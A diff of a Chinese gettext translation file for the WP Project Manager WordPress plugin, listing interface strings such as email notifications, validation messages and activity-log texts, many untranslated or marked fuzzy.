views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "到期时间" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "查看任务" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "新消息" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "查看消息" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "查看项目" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "更新列表" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -#~ msgid "Project created by %s" -#~ msgstr "项目发起人:%s" - -#~ msgid "Project details updated by %s" -#~ msgstr "项目详细已由%s更新" - -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "消息\"%s\"已被%s删除" - -#~ msgid "%s deleted a comment" -#~ msgstr "%s删除了一条评论" - -#~ msgid "Add a comment..." -#~ msgstr "添加评论" - -#~ msgid "Messages" -#~ msgstr "消息" - -#~ msgid "message post type" -#~ msgstr "消息文章类型" - -#~ msgid "Edit Message" -#~ msgstr "编辑消息" - -#~ msgid "Search Messages" -#~ msgstr "搜索消息" - -#~ msgid "Parent Message" -#~ msgstr "父级消息" - -#~ msgid "Add New Milestone" -#~ msgstr "添加新里程碑" - -#~ msgid "New Milestone" -#~ msgstr "新里程碑" - -#~ msgid "View Milestone" -#~ msgstr "查看里程碑" - -#~ msgid "Search Milestone" -#~ msgstr "选择里程碑" - -#~ msgid "Parent Milestone" -#~ msgstr "父级里程碑" - -#~ msgid "project manager post type" -#~ msgstr "项目管理文章类型" - -#~ msgid "Add Project" -#~ msgstr "添加项目" - -#~ msgid "Edit Project" -#~ msgstr "编辑项目" - -#~ msgid "Search Project" -#~ msgstr "搜索项目" - -#~ msgid "Parent Project" -#~ msgstr "父级项目" - -#~ msgid "Add Task List" -#~ msgstr "添加任务列表" - -#~ msgid "Add New Task List" -#~ msgstr "添加新任务列表" - -#~ msgid "Edit Task List" -#~ msgstr "编辑任务列表" - -#~ msgid "View Task List" -#~ msgstr "查看任务列表" - -#~ msgid "Search Task List" -#~ msgstr "搜索任务列表" - -#~ msgid "Parent Task List" -#~ msgstr "父级任务列表" - -#~ msgid "Add New Task" -#~ msgstr "添加新任务" - -#~ msgid "Edit Task" -#~ msgstr "编辑任务" - -#~ msgid "New Task" -#~ msgstr "新任务" - -#~ msgid "Search Task" -#~ msgstr "搜索任务" - -#~ msgid "Parent Task" -#~ msgstr "父级任务" - -#~ msgid "Delete project" -#~ msgstr "删除项目" - -#~ msgid "Add this comment" -#~ msgstr "添加评论" - -#~ msgid "late" -#~ msgstr "晚" - -#~ msgid "Attached to %s by %s" -#~ msgstr "附加到%s,上传人:%s" - -#~ msgid "Error: Message not found" -#~ msgstr "错误:消息未找到" - -#~ msgid "Error: Project not found" -#~ msgstr "错误:项目未找到" - -#~ msgid "Error: Permission denied" -#~ msgstr "错误也:权限不足" - -#~ msgid "Message %s created by %s" -#~ msgstr "消息%s由%s创建" - -#~ msgid "Message %s updated by %s" -#~ msgstr "消息%s已被%s更新" - -#~ msgid "To-do list %s created by %s" -#~ msgstr "列表%s由%s创建" - -#~ msgid "To-do list %s updated by %s" -#~ msgstr "列表%s已被%s更新" - -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "列表\"%s\"已被%s删除" - -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "任务%s已被添加人任务列表%s由%s" - -#~ msgid "To-do %s updated by %s" -#~ msgstr "任务列表%s已被%s更新" - -#~ msgid "To-do %s completed by %s" -#~ msgstr "任务列表%s已被%s完成" - -#~ msgid "Marked to-do as done" -#~ msgstr "标记任务为已完成" - -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "任务%s已被%s标记为未完成" - -#~ msgid "Re-opened to-do" -#~ msgstr "重新开启任务" - -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "任务\"%s\" 已从任务列表中删除 %s 由 %s" - -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "里程碑\"%s\"已由%s 添加" - -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "里程碑\"%s\"已被%s更新 " - -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "里程碑\"%s\"已被%s 删除" - -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "里程碑\"%s\"已被%s 标记为已完成" - -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "里程碑\"%s\"被%s 标记为未完成" - -#~ msgid "General" -#~ msgstr "通用" - -#~ msgid "No Messages Found" -#~ msgstr "没有消息" - -#~ msgid "No Messages Found in Trash" -#~ msgstr "回收站中没有消息" - -#~ msgid "No Milestone Found" -#~ msgstr "没有里程碑" - -#~ msgid "No Milestone Found in Trash" -#~ msgstr "回收站中没有里程碑" - -#~ msgid "No Project Found in Trash" -#~ msgstr "回收站中没有项目" - -#~ msgid "No Task List Found" -#~ msgstr "没有任务列表" - -#~ msgid "No Task List Found in Trash" -#~ msgstr "回收站中没有任务列表" - -#~ msgid "No Task Found" -#~ msgstr "没有任务" - -#~ msgid "No Task Found in Trash" -#~ msgstr "回收站中没有任务" - -#~ msgid "Select co-workers" -#~ msgstr "选择同事" - -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "确认删除这个任务?" - -#~ msgid "Add this to-do" -#~ msgstr "添加此任务" - -#~ msgid "Add a new to-do" -#~ msgstr "添加新任务" - -#~ msgid "-- milestone --" -#~ msgstr "-- 里程碑 --" - -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "确认删除此任务列表?" - -#~ msgid "Update comment" -#~ msgstr "更新评论" - -#~ msgid "Edit milestone" -#~ msgstr "编辑里程碑" - -#~ msgid "Mark un-complete" -#~ msgstr "标记为未完成" - -#~ msgid "To-do List" -#~ msgstr "任务列表" - -#~ msgid "Notify Co-workers" -#~ msgstr "通知同事" - -#~ msgid "thread" -#~ msgstr "线" - -#~ msgid "Discuss this to-do list" -#~ msgstr "讨论此任务列表" - -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "文件尺寸(以M为单位),如:2" - -#~ msgid "New Project Subject" -#~ msgstr "新任务标题" - -#~ msgid "New Project Body" -#~ msgstr "新任务内容" - -#~ msgid "New Message Subject" -#~ msgstr "新消息标题" - -#~ msgid "New Message Body" -#~ msgstr "新消息内容" - -#~ msgid "New Comment Subject" -#~ msgstr "新评论标题" - -#~ msgid "New Assigned Task Subject" -#~ msgstr "新分配的任务标题" - -#~ msgid "-- assign to --" -#~ msgstr "-- 分配 --" - -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "如果需要添加附件,从计算机上选" -#~ "择文件" - -#~ msgid "%d Comments" -#~ msgstr "%d 条评论" - -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(完成人:%s,完成时间:%s)" - -#~ msgid "Tasklist name" -#~ msgstr "任务列表名称" - -#~ msgid "Add a to-do" -#~ msgstr "添加任务" - -#~ msgid "Message details here" -#~ msgstr "消息详情" - -#~ msgid "Details about milestone (optional)" -#~ msgstr "里程碑详情(可选)" - -#~ msgid "Reopen" -#~ msgstr "重新开启" - -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "下载讨论" - -#~ msgid "No Files Found!" -#~ msgstr "没有找到文件" - -#~ msgid "Add New" -#~ msgstr "添加新消息" - -#~ msgid "No messages found! How about adding one?" -#~ msgstr "没有找到消息,添加一个吧。" - -#~ msgid "← back" -#~ msgstr "← 返回" - -#~ msgid "No Milestone Found!" -#~ msgstr "暂时没有里程碑" - -#~ msgid "Add new milestone" -#~ msgstr "添加里程碑" - -#~ msgid "Project Info" -#~ msgstr "项目信息" - -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "没有任务列表" - -#~ msgid "Discuss this to-do" -#~ msgstr "讨论此任务" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager Chinese\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:58+0600\n" +"Last-Translator: Amos Lee <470266798@qq.com>\n" +"Language-Team: Amos Lee \n" +"Language: zh_TW\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e\n" +"X-Poedit-Basepath: .\n" +"X-Generator: Poedit 2.0.8\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Poedit-SearchPath-0: ..\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "消息" + +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "任务列表" + +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "任务" + +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "文件" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "更新项目" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "加载更多..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "接受的文件" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "设置" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "项目" + +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "项目" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "類別" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "任务详情" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s评论了%s" + +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s更新了%s的评论" + +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s评论了%s" + +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s更新了%s的评论" + +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s评论了%s" + +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s更新了%s的评论" + +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s评论了%s" + +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s评论了%s" + +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s更新了%s的评论" + +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s更新了%s的评论" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "项目" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "任务列表" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "里程碑" + +#: texts/resource_types.php:20 +#, fuzzy +msgid "comment" +msgstr "1条评论" + +#: texts/resource_types.php:23 +msgid "file" +msgstr "" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "没有找到评论" + +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "没有项目" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "确定?" + +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "确定删除此项目?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: 